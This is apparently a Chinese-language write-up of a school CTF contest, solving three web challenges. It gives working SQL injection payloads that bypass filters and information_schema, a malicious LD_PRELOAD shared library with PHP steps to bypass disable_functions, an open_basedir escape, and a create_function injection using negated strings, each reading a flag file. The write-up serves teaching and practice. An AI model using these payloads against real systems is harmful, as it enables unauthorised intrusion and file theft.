2020寒假2月校赛wp
fake教务处
这题的登陆注册功能似乎误导了很多同学。。我的锅,开学可以来暴打我
主要考点
- group by 代替order by(当然也可以直接union select)
- 利用sys库bypass information_schema,获得表名
参见聊一聊bypass information_schema - 利用报错得到字段名,参见mysql注入可报错时爆表名、字段名、库名
具体做法
- 随便注册个账号登陆进去,
?time=1'
得到报错,发现注入点 - 禁掉了一些报错函数,考虑使用union注入(其实禁的并不全,不过这里用union来做)
- 发现or被过滤,无法使用order by,使用group by代替。
?time=1 group by 6
,?time=1 group by 7
确定列数为6(当然也可以用?time=1 union select 1,2,3,4,5,6,7
) - or被过滤所以无法从information_schema中获得表名等信息,但可以从sys库中得到表名得到表名users,grade,flag8ca6107
1
?time=-1 union select 1,(select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),3,4,5,6
- sys库中无法获得列名,但可以利用join报错获得得到列名为flagcc6dfb
1
?time=-1 union select 1,(select * from (select * from flag8ca6107 as a join flag8ca6107 as b) as c),3,4,5,6
- 最后拿到flag
1
?time=-1 union select 1,(select flagcc6dfb from flag8ca6107),3,4,5,6
类似题目
- [SWPU2019]Web1
张渗透的webshell
在phpinfo()中可以看到存在disable_functions和open_basedir。
- disable_functions
在disable_functions范围内的函数不会被加载到PHP上下文中,因此无法使用这些函数1
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link,map_open,imap_mail,ini_alter
- open_basedir限制了可访问的目录。
1
/var/www/html:/tmp
命令执行的函数可以绕过open_basedir,因为它们本质上是调用了系统中的第三方程序,不受php的限制。但是上面的disable_functions把命令执行的函数都禁了(应该没漏吧。。)
所以接下来要么绕过disable_functions执行系统命令,要么绕过open_basedir读文件
disable_functions
绕过disable_functions最常见的方法是通过LD_PRELOAD
LD_PRELOAD是linux的一个环境变量,用于指定加载的动态库。并且它指定的动态库加载优先级最高,详细参见深入浅出LD_PRELOAD & putenv()
- 首先编译一个恶意so文件然后编译成动态链接库
1
2
3
4
5
6
7
8
9
10
11
void payload() {
system("cat /flag > /tmp/flag");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}1
2gcc -c -fPIC fuck.c -o fuck
gcc --share fuck -o fuck.so - 获取恶意so文件内容的base64编码
so文件中有大量不可见字符,所以用base64编码一下1
echo base64_encode(file_get_contents('fuck.so'));
- 将恶意so写入目标服务器
1
2
3
4zzy=file_put_contents('/tmp/fuck.so',base64_decode('xxxx'));
//xxxx为刚刚得到的base64串,太长了我不贴了
zzy=var_dump(scandir('/tmp'));
//可以看到/tmp写入了fuck.so - 接下来有两种方式触发LD_PRELOAD:
- mail()
- error_log()
两者都会调用linux中的sendmail,从而触发LD_PRELOAD执行恶意so文件
1 | putenv("LD_PRELOAD=/tmp/fuck.so");error_log("test",1,"","");echo file_get_contents("/tmp/flag"); |
即可拿到flag
open_basedir
1 | zzy=mkdir('img');chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag'); |
相关题目
一些和disable_functions和open_basedir相关的题目
张渗透的免杀webshell
这真的是个白送的福利题啊。。没想到居然没人做出来
主要有两个点
- create_function代码注入
- 字符串取反
具体的解析写在注释里了
1 | error_reporting(0); |
所以非常非常简单
1 | echo urlencode(~'readfile("/flag");'); |
然后?arg=%8D%9A%9E%9B%99%96%93%9A%D7%DD%D0%99%93%9E%98%DD%D6%C4
即可拿到flag